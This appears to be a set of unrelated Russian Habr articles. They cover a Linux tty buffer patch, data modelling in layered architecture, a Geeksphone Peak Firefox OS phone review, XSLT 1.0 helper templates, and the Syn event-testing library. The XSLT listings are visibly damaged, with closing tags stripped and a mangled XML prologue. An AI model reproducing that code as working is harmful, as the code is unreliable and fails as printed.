@@ -114,11 +114,14 @@ static void __tty_buffer_flush(struct tty_struct *tty)
{
struct tty_buffer *thead;
- while ((thead = tty->buf.head) != NULL) {
- tty->buf.head = thead->next;
- tty_buffer_free(tty, thead);
+ if (tty->buf.head == NULL)
+ return;
+ while ((thead = tty->buf.head->next) != NULL) {
+ tty_buffer_free(tty, tty->buf.head);
+ tty->buf.head = thead;
}
- tty->buf.tail = NULL;
+ WARN_ON(tty->buf.head != tty->buf.tail);
+ tty->buf.head->read = tty->buf.head->commit;
}
/**
```
Чтобы убрать «if», хорошо бы первый буфер выделять при открытии файла устройства, а не когда появятся первые данные, но это, усложнило бы «patch».
**Мое мнение о разработке ядра Linux**Хорошо латать дыры первым попавшимся методом или плохо? Мне кажется что плохо, сам процесс внесения изменений в ядро выглядит, как какая-то гонка, кто успел тот и внес изменения, а последствия, потом разберемся. Мне кажется, что таких исправлений в ядро попадает слишком много, что еще больше запутывает и так не простой код. | https://habr.com/ru/post/254097/ | null | ru | null |
# Моделирование данных в слоеной архитектуре
Разделение данных на слои
-------------------------
Согласно [Мартину Фаулеру](https://martinfowler.com/bliki/PresentationDomainDataLayering.html) при разработке архитектуры полезно разделять на 3 слоя: Презентационный, Доменный и Доступа к данным.
Польза от выделения слоев состоит в:
* Уменьшение области внимания при разработке каждого из уровней и рассмотрение их независимо друг от друга
* Возможность применять различные способы разработки на каждом из уровней
* Границы слоев облегчают тестирование взаимодействий между слоями.
DDD подход vs деление на слои
-----------------------------
Domain Driven Design - говорит нам о необходимости договориться о едином языке для предметной области и использовать его всеми членами команды.
Преимуществом использования единого языка является однозначное понимание всех терминов объектов процессов и атрибутов над которыми работает команда.
Следствием этого является однозначное понимание атрибутов объектов используемых в моделях данных.
В этой статье хотелось бы рассмотреть модели данных на каждом из слоев приложения, особенности диктующие логику их построения.
Вопросы и проблемы при использовании слоеной архитектуры и принципа DDD.
Рассматриваемый пример это письмо от Клиента Юридического лица в Банк.
Наиболее частая проблема, возникающая после того как все слои приложения разработаны и внедрены - необходимость добавить ряд атрибутов в модель по требованиям отчетности как бизнес так и регуляторной.
Это требует пересмотра моделей на всех слоях приложения и решения на каком слое требуется добавить необходимые атрибуты.
Процедура обогащения моделей может быть достаточно затратна и болезнена и потребовать множества согласований.
Создание. Презентационный слой
------------------------------
Модель данных на презентационном слое представляют из себя набор значений необходимых для построения экранных форм. Базовые действия который выполняет пользователь это:
* Поиск
* Создание
* Изменение
Предположим, что Клиент создает Жалобу или Предложение. Модель данных для формы ввода будет выглядеть:
```
ClientLetter:
description: Письмо
type: object
properties:
subject:
description: Тема письма
type: string
content:
type: string
description: Содержимое письма
type:
description: тип письма
type: string
enum:
- claim
- proposal
```
Этих данных достаточно для заполнения формы, но не достаточно для создания документа в БД. Не хватает информации о клиенте.
Создание. Доменный слой
-----------------------
Для сохранения письма в БД необходима информация о Клиенте. Клиент был аутентифицирован в приложении, таким образом существует сессионный контекст из которого могут быть взяты данные Клиента для сохранения письма. Именно данные клиента из Сервиса Аутентификации должны быть использованы для операций сохранения в БД, нельзя доверять данным о клиенте переданным из браузера. Так же необходимо ограничить необходимым объем данных передаваемых на PL слой.
```
ClientLetter:
description: Letter
type: object
properties:
client:
type: object
properties:
id:
type: integer
description: client identifier
name:
type: string
description: person name who created the letter
subject:
description: Subject
type: string
content:
type: string
description: Body
type:
description: type of letter
type: string
enum:
- claim
- proposal
```
Можно заметить что мы добавили атрибуты клиента на доменном слое к нашей модели данных. Могут быть и другие атрибуты которыми модель обогащается на доменном слое.
Данный подход гарантирует нам что данные клиента не будут подменены.
Создание.Слой данных
--------------------
Модель данных на этом слое может быть представлена в таком виде:
```
ClientLetter:
description: Letter
type: object
properties:
client:
type: object
properties:
id:
type: integer
description: client identifier
name:
type: string
description: person name who created the letter
subject:
description: Subject
type: string
content:
type: string
description: Body
type:
description: type of letter
type: string
enum:
- claim
- proposal
changed:
description: date and time of transaction
type: datetime
system:
description: system that pass data to the DB
type: string
```
Как можно заметить на Дата слое были добавлены: системное дата и время и система, которая выполнила создание записи в БД.
Создание писем может быть реализовано по разным каналам WEB приложением, Мобильным приложением и даже сотрудником Банка от имени Клиента. Все это требует расширения модели хранения.
Создание. Выводы
----------------
Рассмотрев модель данных на разных слоях на примере письма мы убедились в том что необходимо иметь разные модели данных на разных уровнях по мере движения данных от Презентационного слоя к Слою Хранения данных. Необходимость диктуется как функционалом реализуемом на каждом слое, так и соображениями безопасности чувствительных данных.
Извлечение. Презентационный слой
--------------------------------
Давайте рассмотрим каким образом пользователи ищут объекты, в нашем примере Письма. Пользователь задает условия поиска и фильтрации.
После получения ответа в виде подмножества данных по условиям поиска и фильтрации, пользователь выбирает нужный ему объект и переходит к его детальном просмотру или обработке.
Это значит что при извлечении данных в общем случае нужно два поисковых метода:
* Списковый метод, который содержит в параметрах запроса условия поиска и фильтрации
* Детальный метод, который в параметрах запроса передает конкретных идентификатор объекта.
Извлечение. Слой Данных
-----------------------
Мы обсуждаем списковый метод, который задает условия поиска и фильтрации. Поля таблицы, по которым производится поиск по API метода фиксируется в контракте. Таким образом мы имеем ограниченый набор полей для поиска. Для работы метода, возвращающего список поля поиска необходимо индексировать.
Представим, что в соответствии с нашим примером пользователь ищет письма по типу, интервалу дат и статусу документа. Тогда структура данных на этом Слое может быть спроектирована таким образом:
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| id | version | client\_id | status | type | last\_changed | data |
| 1 | 1 | 123 | 1 | 1 | 01/01/2022 | {data} |
Атрибуты, хранимые в отдельных столбцах индексированы и используются для поиск и фильтрации. Все остальные поля можно хранить в формате JSON в одном столбце таблицы.
Извлечение. Презентационный слой. Проблема идентификаторов
----------------------------------------------------------
Предположим пользователь воспользовался методом, возвращающий список писем, нашел необходимый объект и желает перейти к Детализированному письму и для этого вызывает Детальный метод, который принимает в качестве параметра идентификатор письма.
Для реализации сценария очевидный путь это передать на Презентационный слой идентификаторы объектов в методе списка и реализуя выбор пользователя передать из PL слоя выбранный идентификатор письма в Детальный метод, который вернет полный набор атрибутов Письма.
Передача из презентиационного слоя прямые идентификаторы объектов из Слоя Данных несет в себе риски несанкционированного доступа. Стандарты безопасной разработки приложений не допускают использования идентификаторов объектов в Презентационном слое, чтобы отсутствовала возможность передачи идентификаторов тех объектов доступ к которым Пользователю не разрешен. Это касается как идентификаторов Клиентов, так и менее чувствительных данных.
Каким образом можно решить проблему выбора одного объектов из набора переданного на Презентационный слой?
Одним из подходов может быть использование синтетических идентификаторов на Презентационном слое. Бизнес слой должен сформировать либо хеш идентификаторы либо пронумеровать объекты переданные на Презентационный слой. Пользователь выбрав синтетический идентификатор передают его в Детальный метод на Бизнес слой. Бизнес слой вычисляет реальный идентификатор объекта и передает его в Слой Данных при обработке Детального метода.
Извлечение. Выводы
------------------
При реализации поиска и выбора данных имеет смысл использовать [CQRS](https://martinfowler.com/bliki/CQRS.html) с помощью которого данные можно получить удобным способом.
Плохой практикой является использование идентификаторов объектов на Презентационном слое. С целью соблюдения требований безопасности лучше использовать синтетические идентификаторы объектов не раскрывая формата и типа идентификаторов из слоя Данных. | https://habr.com/ru/post/707582/ | null | ru | null |
# Обзор Geeksphone Peak — телефона на Firefox OS
[](http://farm8.staticflickr.com/7340/8895450591_3c8d025eba_b.jpg)
Привет, хабр.
Я наконец-то дождался заветной коробочки с девайсом [Geeksphone Peak](http://geeksphone.com) и хочу поделиться фотографиями и скриншотами, с целью подогрева интереса читателей к платформе [Firefox OS](http://ru.wikipedia.org/wiki/Firefox_OS).
Заранее хочу предупредить, что телефон позиционируется как Developer Preview, то есть на конечного потребителя в общем-то не рассчитан.
Периодически Mozilla делает ночные сборки Boot2Gecko, поэтому как только на сервере появляется очередной билд — устройство обновляется по сети, так что проблем с каждым днём становится всё меньше, изменения ощутимые.
Если вы не в курсе, о чём вообще идёт речь, очень рекомендую ознакомиться со статьёй [«Стартовали продажи первых телефонов на основе Firefox OS»](http://www.opennet.ru/opennews/art.shtml?num=36760) на OpenNet.
За подробностями приглашаю под кат.
Осторожно, картинки.
**По клику — крупные версии.**
#### Лог событий
* 23 апреля, 10:00 по МСК — старт продаж телефонов Geeksphone в [магазине на их сайте](https://shop.geeksphone.com);
* спустя пару минут — падение магазина;
* 23 апреля, около 12:00 — удалось нажать кнопку покупки, благодаря непрерывному рефрешу страницы;
* 23 апреля, 14:30 — оба девайса распроданы (Keon сначала кончился, но потом ещё немного добавили);
* На тот момент мой инвойс имел номер около 870, походу порядковый;
* 9 мая, 15:35 — со мной связался менеджер и сказал, что метод доставки «UPS Cash on Delivery» для России не доступен;
* А пока я разбирался со SWIFT-переводом в испанский банк (кстати, всё ок), произошло следующее;
* 22 мая, 16:00 — продажи [стартовали вновь](https://twitter.com/geeksphone/status/337177619785211904).
* На этот раз я оплатил картой заранее, выбрал обычный UPS. Отправили в этот же день. Номер инвойса был около 1600;
* 23 мая — посылка встала на таможне во Внуково, так как испанцы записали стоимость доставки в инвойсную стоимость посылки
и вышло 204 евро, а лимит на посылки без оформления — 200 евро;
* 28 мая — сгонял во Внуково и оформил 10 бумажек (в FedEx в Домодедово одной хватало);
* 29 мая — доставили домой;
Я пишу примерные номера инвойсов, потому что Geeksphone после конца продаж закрывают магазин целиком, включая личный кабинет с историей ордеров.
#### Устройство
**Цена — 149 евро.**
**Техническое характеристики:**
* Android 4.0.4
* Boot2Gecko 1.0.1.0-prerelease
* CPU Qualcomm Snapdragon S4 8225 1.2Ghz x2
* GPU Qualcomm Adreno 203
* UMTS 2100/1900/900 (3G HSPA)
* GSM 850/900/1800/1900 (2G EDGE)
* Screen 4.3" qHD IPS Multitouch (960x540, 256 PPI)
* Camera 8 MP (back) + 2 MP (front)
* 4 GB (ROM) и 512 MB (RAM)
* MicroUSB, MicroSD, Wifi N, Bluetooth 2.1 EDR, FM-радио
* Датчики освещения и близости, гироскоп, GPS, вспышка
* Батарея 1800 mAh
* Вес: 118 г
Пусть наличие Android вас не смущает, иначе вы зря не прочитали статью [«Стартовали продажи первых телефонов на основе Firefox OS»](http://www.opennet.ru/opennews/art.shtml?num=36760) на OpenNet.
Версия Boot2Gecko пока не меняется, в качестве отличительного признака отображается хэш последнего коммита в ветке git-репозитория, из которой была сделана сборка.
[](http://farm6.staticflickr.com/5347/8967957754_c0c080eb0e_o.jpg) [](http://farm4.staticflickr.com/3773/8967958416_1ef75aea2e_b.jpg)
Про батарею писать сложно. Во-первых, в режиме ожидания она не разряжается совсем. Можно оставить телефон на ночь и за 12 часов уйдёт 1% заряда. Во-вторых, при нагрузке (особенно wi-fi и процессора одновременно) она начинет стремительно разряжаться.
Wi-fi в любом случае сильно ест батарею, поэтому на ночь его лучше выключить. Видимо, пока разработчики не дошли до оптимизации энергозатрат.
#### Коробка и внешний вид устройства
[](http://farm8.staticflickr.com/7340/8895450591_3c8d025eba_b.jpg)
[](http://farm6.staticflickr.com/5465/8966847371_8f2f4cddc9_b.jpg)
[](http://farm4.staticflickr.com/3715/8895451313_f3b6a533aa_b.jpg)
Перед вами коробка из переработанного сырья (не хочу гадать, что именно переработано). На мой взгляд, дизайн у неё хороший — надписи привлекают к себе внимание, в целом выглядит опрятно. Обращаю ваше внимание на надпись «Firefox OS Developer Preview», что говорит нам о том, что устройтство одобрено Mozilla Foundation. Кстати, на противоположной стороне коробки, на боку, указан адрес <http://devphone.mozilla.org>.
[](http://farm9.staticflickr.com/8117/8895452095_2a6cd49d50_b.jpg)
Далее. Комплект коробки. Наушники с гарнитурой, понятное дело, отправились «в мусорное ведро» автоматически (на фотографии их нет).
Батарея — 1800 mAh, сделанная под бренд Geeksphone. Не знаю, есть ли шанс найти адекватную замену в розничной продаже.
[](http://farm8.staticflickr.com/7418/8966867207_3bc20246f1_b.jpg)
Мотивационное письмо, про Веб как платформу. Звучит заманчиво, лишь бы вендоры подтянулись.
Кстати, о вендорах: [«Mozilla и Foxconn объявили о совместной разработке серии устройств на базе Firefox OS»](http://www.opennet.ru/opennews/art.shtml?num=37082).
[](http://farm6.staticflickr.com/5445/8966866287_fd180f7151_b.jpg)
Зарядник хороший, на выходе — 1 ампер, при заряде пищит чуть тише, чем идентичный от Apple. После окончания заряда пищит громко.
[](http://farm3.staticflickr.com/2879/8966867899_e2e5e5945a_b.jpg)
Экранище. Пиксели не мешают, но вот качество картинки оставляет желать лучшего. Во-первых она недостаточно яркая, во-вторых изображение рябит полосочками. Это сложно описать или заснять, это заметно только при использовании. У меня есть подозрение, что эта рябь — не вина экрана, а что-то внутри Gecko.
Тачскрин — никакой, нажатия неточные. В сочетании с описанными ниже (в разделе про софт) проблемами это просто фатально на данный момент.
[](http://farm8.staticflickr.com/7403/8896078092_2d691d5166_b.jpg)
На лицевой стороне телефона сверху видим (слева направо) — датчик освещения и близости, динамик, передняя камера, индикатор зарядки.
Вообще, этот индикатор мог бы использоваться для отображения событий (как в BlackBerry), но на данном этапе развития софта он только отображает процесс зарядки. Красный — зарядка идёт, синий — полный заряд.
[](http://farm8.staticflickr.com/7419/8966877893_02a129afc6_b.jpg)
Снизу на лицевой стороне расположена единственная кнопка, сенсорная, выполняет функцию управления запущенными приложениями (по аналогии с устройствами Apple).
[](http://farm9.staticflickr.com/8540/8896076220_bd126e5130_b.jpg)
Вид сзади, очень аппетитно. Ведь ещё можно же придумать смарфтон, который будет приятен на вид.
Фотокамера, вспышка, динамик для музыки и звонка.
[](http://farm6.staticflickr.com/5458/8895455279_3f76b84dfe_b.jpg)
Вид из угла. Разъём для наушников, microUSB порт, кнопка питания и качелька регулирования громкости.
[](http://farm8.staticflickr.com/7292/8896074810_81b2937bd6_b.jpg)
Вид под батареей. Не сняв батарею, сменить sim-карту и microSD-карту нельзя.
В Испании уже инженерят свои телефоны, а у нас — нет [x].
[](http://farm8.staticflickr.com/7328/8895459813_af4aa0550f_o.jpg) [](http://farm6.staticflickr.com/5446/8896080446_597b056018_o.jpg)
Поиски UART пока не увенчались успехом. В Geeksphone игнорируют письмо с вопросом, на форуме пока никто не ответил.
Тем не менее, лог dmesg всё равно утащим: <http://pastebin.com/q1XV5mNV>.
Кстати, а вот и причина сильного нагрева задней части корпуса: радиатор пассивного охлаждения чипа.
Боюсь, такими темпами мы скоро дойдём до кулеров. *[место для шутки про JavaScript]*
[](http://farm3.staticflickr.com/2854/8895457585_054a7111a2_b.jpg)
#### Операционная система
Внутреннее устройство системы описывать не буду. На сайте Mozilla есть [официальный черновик описания архитектуры Firefox OS](https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture), перевод в процессе.
Лог загрузки системы
[pastebin.com/Axh1Fxr8](http://pastebin.com/Axh1Fxr8)
Занимаемая память (нужно учесть зарезервированную под GPU)
```
root@android:/data # busybox free
total used free shared buffers
Mem: 322708 193128 129580 0 17996
-/+ buffers: 175132 147576
Swap: 0 0 0
```
#### Интерфейс и приложения
[](http://farm4.staticflickr.com/3695/8966771545_13365c4e2e_b.jpg) [](http://farm9.staticflickr.com/8253/8966774793_bf18b42a54_b.jpg) [](http://farm4.staticflickr.com/3830/8966772157_bb7982d0cb_b.jpg)
Рабочие столы в естественном порядке. По центру — главный экран, слева — куча ссылок на непонятные сайты, которые запускаются в браузере без масштабирования и кнопок. Справа — приложения, установленные на устройстве. Спустя день прилетело обновление по воздуху и появилась новая иконка для Importer — импортёра гуглоконтактов на телефон.
В принципе, любое приложение — это откэшированный каталог с ресурсами веб-странички. Некоторые приложения, написанные специально для Firefox OS, выглядят хорошо, например настройки и смс:
[](http://farm6.staticflickr.com/5442/8967955708_2865a9ca39_b.jpg) [](http://farm8.staticflickr.com/7426/8967969026_97c5fb24f3_b.jpg) [](http://farm8.staticflickr.com/7398/8967970228_39e1d33e92_b.jpg)
*(в сообщениях кнопка съехала, но в последнем билде Boot2Gecko уже пофикшено)*
Будильник мне особенно нравится (громкий динамик способствует):
[](http://farm3.staticflickr.com/2859/8967965414_01f92af48b_b.jpg) [](http://farm6.staticflickr.com/5462/8967966068_8feb04402b_b.jpg)
Но совсем другое ощущение при работе с клиентом твиттера:
[](http://farm4.staticflickr.com/3667/8967952132_62f7870562_b.jpg) [](http://farm4.staticflickr.com/3792/8967966744_74fe0afc53_b.jpg)
Или картами Nokia:
[](http://farm6.staticflickr.com/5349/8966763797_e0331a0d63_b.jpg) [](http://farm3.staticflickr.com/2865/8966764383_2f6d74fc4f_b.jpg)
И если карты претендуют на приложение, то твиттер — самая обычная закэшированная веб-страничка, открывающаяся в браузере без зума и кнопок. Попасть по элементам — нереально. А если попасть, то работает это ровно так, как и предполагается самыми ярыми ненавистниками веб-приложений и JS в частности.
Приложение маркета не лучше:
[](http://farm6.staticflickr.com/5454/8966776143_104277849b_b.jpg) [](http://farm3.staticflickr.com/2883/8966762447_3633632441_b.jpg)
Кстати, я был в предвкушении найти бесконечное кольцо ожидания. Ну знаете, когда из JS идёт асинхронный запрос, а ответа всё нет и нет — крутится кольцо. Обычно оно крутятся либо по полминуты, либо бесконечно.
Так вот, в первый день знакомства приложения из маркета ставить не удалось — при клике по приложению меня встречало оно самое, бесконечное. На второй день всё прошло, очевидно были неполадки на сервере. Но +1 в копилку колец.
Уведомления отображаются в выдвижной панели или на экране блокировки:
[](http://farm4.staticflickr.com/3806/8967959672_fd1522357d_b.jpg) [](http://farm8.staticflickr.com/7321/8966780975_63993da44e_b.jpg)
Про выдвижную панель рассказать нечего — это уже привычный элемент интерфейса, разве что здесь вы можете наблюдать счётчик трафика, по-умолчанию включённый в стандартный набор приложений системы. Качать придётся много, похоже.
[](http://farm8.staticflickr.com/7313/8967962774_023444570d_b.jpg) [](http://farm6.staticflickr.com/5325/8966778759_0f0c32fceb_b.jpg)
Хабр в браузере Firefox ([YO DAWG!](http://f.cl.ly/items/3j0V163p3c0q1s1x3O2u/Image%202013.06.06%2014%3A45%3A30.png)) и клавиатура. У них есть общее — в первом случае невозможно попасть по ссылкам, а во втором — по кнопкам. Действительно, тачскрин сильно дёргается и попасть во что-либо очень сложно, даже по, казалось бы, крупным кнопкам клавиатуры. Клавиатура на данный момент имеет кучу языков ввода, так что поддержка русского тоже имеется.
[](http://farm6.staticflickr.com/5326/8966761597_57e99618aa_b.jpg) [](http://farm8.staticflickr.com/7323/8966760939_1e73e70053_b.jpg)
Фотокамера в аппарате просто на всякий случай. Передняя — тем более. Причём снимки делаются с разрешением 1280x960 и настройке это не подлежит. Видео пишется 288x352 в .3gp, хотя из adb logcat ясно видно, что камерой поддерживается видеозапись и в 720p.
Вообще приложение камеры, как и все другие существующие на данный момент приложения, сделаны в минимальной комплектации фичами. Видно, что разработчики стремятся продемонстрировать и отладить платформу, но времени на детали пока просто нет.
[](http://farm3.staticflickr.com/2816/8966779487_8300dd75df_b.jpg) [](http://farm3.staticflickr.com/2858/8966765785_34e49eb555_b.jpg)
Слева — обычная звонилка, контакты можно привязать в фейсбуку и тогда они будут выглядеть красиво. Справа — менюшка для публикации чего-либо, в данном случае картинки. Это хорошо, что они решили сделать универсальный интерфейс для шары, это очень правильно. Можно написать простенький плагин, чтобы выделенный текст на pastebin заливал.
[](http://farm9.staticflickr.com/8120/8967962160_03977589a0_b.jpg) [](http://farm9.staticflickr.com/8404/8966765015_e152ec23d3_b.jpg)
Минимальный музыкальный плеер и минимальный фоторедактор (фильтры есть, а поворота нет).
Гарнитура пока не поддерживается. Хотя я бы посмеялся от души, если был бы какой-нибудь аналог Siri, только с 2-5 голосовыми командами, ну, для отладки платформы. Динамик сзади хоть и громкий, но совершенно некачественный в плане музыки, он больше для midi-полифонии подходит.
[](http://farm6.staticflickr.com/5442/8967955708_2865a9ca39_b.jpg) [](http://farm4.staticflickr.com/3787/8967956400_102f9b5c78_b.jpg) [](http://farm4.staticflickr.com/3687/8967957062_544a0dca95_b.jpg)
Все существующие на данный момент настройки.
[](http://farm8.staticflickr.com/7429/8967959040_ce14344ed0_b.jpg)
Небольшой наборчик разработчика. adb сразу под рутом предоставляется, так что всё хорошо.
#### Плюшки для разработчиков
Кстати, команда Geeksphone с радостью выкладывает свои наработки на GitHub — <https://github.com/gp-b2g>
* Исходники ядра для Peak — [gp-peak-kernel](https://github.com/gp-b2g/gp-peak-kernel);
* Исходники ядра для Keon — [gp-keon-kernel](https://github.com/gp-b2g/gp-keon-kernel);
* Конфиг девайса для Android под Peak — [device-gp-peak](https://github.com/gp-b2g/device-gp-peak);
* Конфиг девайса для Android под Keon — [device-gp-keon](https://github.com/gp-b2g/device-gp-keon).
Исходя из вышеперечисленного, можно собрать кастомную прошивку для телефона на базе AOSP. Или собрать CyanogenMod.
Аппарат [поддерживает](http://forum.geeksphone.com/index.php?topic=5118.0) прошивку через fastboot,
для перехода в fastboot нужно вынуть батарею, подождать, вставить и зажать VolDown + Power.
```
fastboot flash recovery recovery.img
fastboot flash boot boot.img
fastboot flash userdata userdata.img
fastboot flash system system.img
fastboot reboot
```
#### Выводы
После пары дней ношения данного аппарата в кармане я с уверенностью могу сказать, что будущее у этих мобилок определённо есть.
Я почувствовал совершенно иной опыт общения с мобильным устройством — это первый девайс, который тормозил *приятно*. Суть именно в *равномерном* торможении.
При переходах в меню оно иногда запаздывает на ~0.5 секунды, прежде чем обработает касание. Такой же интервал требуется для запуска фотокамеры, браузера, галереи и так далее. То есть всё что происходит в системе — происходит с *предсказуемой* скоростью и к этому легко привыкнуть.
Приложения? Наклепают их, куча кривых приложений и куча дешёвых устройств, по характеристикам напоминающие дрова.
Я уверен, что огромное количество веб сайтов осядут в кэшах этих мобилок и они будут пачками раздаваться в офисах операторов сотовой связи как бесплатное дополнение к контракту на связь.
Сама система стремительно развивается, как я уже говорил, периодически приходят обновления. Изменения заметны — улучшаются контролы, меняется вёрстка, добавляются стандартные приложения.
Кстати, можно принять участие — <https://hacks.mozilla.org/2013/05/phones-for-apps-for-firefox-os>
P.S. Особая благодарность фотохостингу Flickr за помощь в подготовке и хранении картинок. | https://habr.com/ru/post/181440/ | null | ru | null |
# Мелочи в XSLT 1.0
Реализация функций replace(), uppercase(), lowercase()
Пример реализации функции replace в XSLT 1.0.
Сканируем **text** на совпадение с патэрном **target**, затем замещаем совпавший текст строкой **value** и возвращаем результирующую строку.
> `</fontxml version="1.0" encoding="utf-8"?>
>
> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
>
> <xsl:output method="html" encoding="utf-8" indent="yes"/>
>
>
>
> <xsl:template match="/">
>
> <xsl:variable name="string">Stop war! Make peace!xsl:variable>
>
>
>
> <xsl:call-template name="Replace">
>
> <xsl:with-param name="string" select="$string"/>
>
> <xsl:with-param name="target" select="'peace'"/>
>
> <xsl:with-param name="value" select="'love'"/>
>
> xsl:call-template>
>
> xsl:template>
>
>
>
> <xsl:template name="Replace">
>
> <xsl:param name="string"/>
>
> <xsl:param name="target"/>
>
> <xsl:param name="value"/>
>
> <xsl:choose>
>
> <xsl:when test="contains( $string, $target)">
>
> <xsl:call-template name="Replace">
>
> <xsl:with-param name="string" select="concat(substring-before($string, $target), $value, substring-after($string, $target))"/>
>
> <xsl:with-param name="target" select="$target"/>
>
> <xsl:with-param name="value" select="$value"/>
>
> xsl:call-template>
>
> xsl:when>
>
> <xsl:otherwise>
>
> <xsl:value-of select="$string"/>
>
> xsl:otherwise>
>
> xsl:choose>
>
> xsl:template>
>
>
>
> xsl:stylesheet>
>
> \* This source code was highlighted with Source Code Highlighter.`
В результате вместо
`Stop war! Make peace!`
будет `Stop war! Make love!`
Пример реализации функции uppercase в XSLT 1.0.
Сканируем **text** на совпадение с патэрном **value**, затем замещаем совпавший текст и возвращаем результирующую строку.
В данной реализации предполагается смена регистра целого слова.
При совпадении в text искомого текста value, проверяем не является ли найденое частью слова и если нет, то проводим замену. Метод перевода в нижний регистр аналогичен методу перевода в верхний.
> `</fontxml version="1.0" encoding="utf-8"?>
>
> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
>
> <xsl:output method="html" encoding="utf-8" indent="yes"/>
>
>
>
> <xsl:variable name="lower">abcdefghijklmnopqrstuvwxyzxsl:variable>
>
> <xsl:variable name="upper">ABCDEFGHIJKLMNOPQRSTUVWXYZxsl:variable>
>
>
>
> <xsl:template match="/">
>
> <xsl:variable name="text">Правильно построенный (Well-formed). Правильно построенный документ соответствует всем общим правилам синтаксиса xml, применимым к любому xml-документуxsl:variable>
>
>
>
> <xsl:call-template name="Uppercase">
>
> <xsl:with-param name="text" select="$text"/>
>
> <xsl:with-param name="value" select="'xml'"/>
>
> xsl:call-template>
>
> xsl:template>
>
>
>
> <xsl:template name="Uppercase">
>
> <xsl:param name="text"/>
>
> <xsl:param name="value"/>
>
> <xsl:choose>
>
> <xsl:when test="contains($text, $value)">
>
> <xsl:variable name="symbolBefore" select="substring(substring-before($text, $value), string-length(substring-before($text, $value)) )"/>
>
> <xsl:variable name="symbolAfter" select="substring(substring-after($text, $value), 1,1)"/>
>
>
>
> <xsl:choose>
>
> <xsl:when test="not(contains($lower,$symbolBefore) and contains($lower,$symbolAfter))">
>
> <xsl:call-template name="Uppercase">
>
> <xsl:with-param name="text" select="concat(substring-before($text, $value),translate($value,$lower,$upper),substring-after($text, $value))"/>
>
> <xsl:with-param name="value" select="$value"/>
>
> xsl:call-template>
>
> xsl:when>
>
> <xsl:otherwise>
>
> <xsl:value-of select="$text"/>
>
> xsl:otherwise>
>
> xsl:choose>
>
> xsl:when>
>
> <xsl:otherwise>
>
> <xsl:value-of select="$text"/>
>
> xsl:otherwise>
>
> xsl:choose>
>
> xsl:template>
>
> xsl:stylesheet>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В результате все 'xml' трансформируются в 'XML'.
Для придания б**о**льшей функциональности (генерации случайного числа, работы с датами, расширенные операции со строками и регулярными выражениями, большим количеством математических операций) можно использовать расширения, например
[EXSLT (Extensions to Extensible Stylesheet Language Transformations)](http://www.exslt.org/).
Например, для генерации рандомного числа, согласно [XSLT 1.0 Pocket Reference](http://books.google.ru/books?id=noPirs4f5WsC), будет следующий код:
> `<xsl:stylesheet version="1.0"
>
> xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
>
> xmlns:random="http://exslt.org/random"
>
> exclude-result-prefixes="random">
>
> <xsl:output indent="yes" omit-xml-declaration="yes"/>
>
>
>
> <xsl:template match="/">
>
> <xsl:copy-of select="random:random-sequence(3)"/>
>
> xsl:template>
>
>
>
> xsl:stylesheet>
>
> \* This source code was highlighted with Source Code Highlighter.`
Результатом будут три числа от 0 до 1.
**UPD.**
Пример вывод минимального/максимального значения (удивительно, но в [упомянутой в комментах книге](http://www.mirknig.com/knigi/programming/1181197689-xslt-sbornik-receptov.html) такого простого примера нет)
Допустим есть простой xml
> `<Price>
>
> <Number>15Number>
>
> <Number>7Number>
>
> <Number>8Number>
>
> <Number>11Number>
>
> <Number>3Number>
>
> <Number>42Number>
>
> <Number>21Number>
>
> <Number>6Number>
>
> Price>
>
> \* This source code was highlighted with Source Code Highlighter.`
сразу переходим к решению (в случае нахождения максимального)
> `<xsl:value-of select="Price/Number[not(following-sibling::Number > self::Number)]"/>
>
> \* This source code was highlighted with Source Code Highlighter.
>
> знак > хабр преобразил`
**42** — ответ на [ВСЁ](http://www.google.ru/search?source=ig&hl=ru&rlz=1G1GGLQ_RURU321&=&q=answer+to+life%2C+the+universe+and+everything&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&meta=lr%3D&aq=f&oq=) :) | https://habr.com/ru/post/71186/ | null | ru | null |
# Syn — библиотека синтетических событий, которая делает тестирование проще
Команда [Jupiter IT](http://jupiterjs.com/) выпустила [Syn](http://jupiterjs.com/#news/syn-a-standalone-synthetic-event-library), библиотеку, которая позволяет вам создавать синтетические события для использования при тестировании. Эта отдельная библиотека предназначена для оказания помощи в тестировании сложного поведения пользовательского интерфейса, имитируя действия пользователя, такие как печать с помощью клавиатуры, нажатие кнопок мыши и перетаскивание с её помощью.
> Тестирование богатых, динамических веб-приложений — сложное дело. В нашей компании мы пробовали почти все доступные решения для тестирования (qUnit, Quick Test Pro, Selenium, JsUnit, Env.js, TestCase), и все они страдают от роковых недостатков.
>
>
>
> Проблемы:
>
> * Ручная работа — тестер должен вручную запускать тесты в каждом поддерживаемом браузере. Люди ленивы;
> * Только юнит-тесты — Нам необходимо проверить приложение в целом, а также сложный пользовательский интерфейс, включая такие нюансы, как поведение перетаскивания;
> * Низкая точность — Мы должны убедиться, что отчёты по тестам выдают точные результаты;
> * Трудность написания — Мы хотим писать тесты с использованием удобного JS API;
> * Дороговизна — лицензия QTP стоит 5K на одного человека! Лучше оплатить отпуск;
> * Поддержка — Мы хотим тестировать также в браузерах под Mac и Linux.
>
>
>
> Мы решили все эти проблемы в рамках скоро выходящего каркаса для тестирования под названием FuncUnit. Это мэшап из qUnit, Selenium, Rhino и Env.js. Однако его основной библиотекой является Syn, которая выполняет имитацию действий пользователей с очень высокой точностью, то, что мы выпускаем сегодня.
>
>
Например, с помощью такого кода:
> `Syn.click( {},'hello' )
>
> .type( 'Hello World' )
>
> .drag( $('#trash') );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вы можете имитировать клик по элементу с идентификатором hello, печатанием «Hello World», и затем перетаскиванием мыши от этого элемента к элементу с идентификатором trash.
Просто великолепная вещь. Посмотрите их [демонстрацию, чтобы увидеть, как происходит запись и воспроизведение событий](http://v3.javas%63riptmvc.com/funcunit/synthetic/synthetic.html). | https://habr.com/ru/post/99319/ | null | ru | null |
# Обзор средств синхронизации баз данных MySQL
